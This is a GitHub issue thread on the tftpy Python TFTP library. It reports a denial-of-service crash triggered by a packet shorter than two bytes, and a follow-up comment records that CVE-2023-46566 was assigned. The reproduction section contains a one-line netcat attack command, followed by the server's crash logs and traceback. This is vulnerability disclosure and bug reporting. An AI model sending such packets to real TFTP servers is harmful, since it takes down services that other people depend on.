msoulier / tftpy

Pure Python TFTP library
http://tftpy.sf.net
MIT License
172 stars 120 forks source link

DoS when parsing a packet with a length less than 2 #140

Open grandnew opened 1 year ago

grandnew commented 1 year ago

There is a Denied-of-Service bug in the parse function in the TftpPacketFactory class on the parse of a packet with a length less than 2.

Reproduce

1. Prepare

cp bin/tftpy_server.py .

Initialize server directory:

mkdir server_dir 

2. Start the Server

python3 tftpy_server.py -r ./server_dir -d

3. Attack

Send a UDP packet with 1-byte payload:

echo -n "A" | nc -u 127.0.0.1 69

Then, the server will crash and the logs are as follows:

[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:63] tftproot /root/stack/tftpy/server_dir does exist
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:67] tftproot /root/stack/tftpy/server_dir is a directory
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:69] tftproot /root/stack/tftpy/server_dir is readable
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:73] tftproot /root/stack/tftpy/server_dir is writable
[2023-10-21 17:16:52,599599] INFO [tftpy.TftpServer:95] Server requested on ip 0.0.0.0, port 69
[2023-10-21 17:16:52,599599] INFO [tftpy.TftpServer:107] Starting receive loop...
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:109] shutdown_immediately is False
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:110] shutdown_gracefully is False
[2023-10-21 17:16:52,599599] DEBUG [tftpy.TftpServer:134] Performing select on this inputlist: [<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0, laddr=('0.0.0.0', 69)>]
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:224] Looping on all sessions to check for timeouts
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:241] Iterating deletion list.
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:109] shutdown_immediately is False
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:110] shutdown_gracefully is False
[2023-10-21 17:16:57,605605] DEBUG [tftpy.TftpServer:134] Performing select on this inputlist: [<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0, laddr=('0.0.0.0', 69)>]
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:224] Looping on all sessions to check for timeouts
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:241] Iterating deletion list.
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:109] shutdown_immediately is False
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:110] shutdown_gracefully is False
[2023-10-21 17:17:02,610610] DEBUG [tftpy.TftpServer:134] Performing select on this inputlist: [<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0, laddr=('0.0.0.0', 69)>]
[2023-10-21 17:17:07,612612] DEBUG [tftpy.TftpServer:224] Looping on all sessions to check for timeouts
[2023-10-21 17:17:07,613613] DEBUG [tftpy.TftpServer:241] Iterating deletion list.
[2023-10-21 17:17:07,613613] DEBUG [tftpy.TftpServer:109] shutdown_immediately is False
[2023-10-21 17:17:07,613613] DEBUG [tftpy.TftpServer:110] shutdown_gracefully is False
[2023-10-21 17:17:07,613613] DEBUG [tftpy.TftpServer:134] Performing select on this inputlist: [<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0, laddr=('0.0.0.0', 69)>]
[2023-10-21 17:17:12,311311] DEBUG [tftpy.TftpServer:153] Data ready on our main socket
[2023-10-21 17:17:12,311311] DEBUG [tftpy.TftpServer:156] Read 1 bytes
[2023-10-21 17:17:12,311311] DEBUG [tftpy.TftpServer:169] Creating new server context for session key = 127.0.0.1:40237
[2023-10-21 17:17:12,312312] DEBUG [tftpy.TftpContext:259] In TftpContextServer.start
[2023-10-21 17:17:12,312312] DEBUG [tftpy.TftpContext:261] Set metrics.start_time to 1697879832.312877
[2023-10-21 17:17:12,312312] DEBUG [tftpy.TftpPacketFactory:34] parsing a 1 byte packet
Traceback (most recent call last):
  File "tftpy_server.py", line 87, in <module>
    main()
  File "tftpy_server.py", line 78, in main
    server.listen(options.ip, options.port)
  File "/root/stack/tftpy/tftpy/TftpServer.py", line 182, in listen
    self.sessions[key].start(buffer)
  File "/root/stack/tftpy/tftpy/TftpContexts.py", line 265, in start
    pkt = self.factory.parse(buffer)
  File "/root/stack/tftpy/tftpy/TftpPacketFactory.py", line 35, in parse
    (opcode,) = struct.unpack("!H", buffer[:2])
struct.error: unpack requires a buffer of 2 bytes
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:147] in TftpContext.end - closing socket
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:276] Set metrics.end_time to 1697879832.370152
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:277] Detected dups in transfer: 0
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:58] TftpMetrics.compute: duration is 0.05727505683898926
[2023-10-21 17:17:12,370370] DEBUG [tftpy.TftpContext:61] TftpMetrics.compute: kbps is 0.0
abergmann commented 6 months ago

CVE-2023-46566 was assigned to this issue.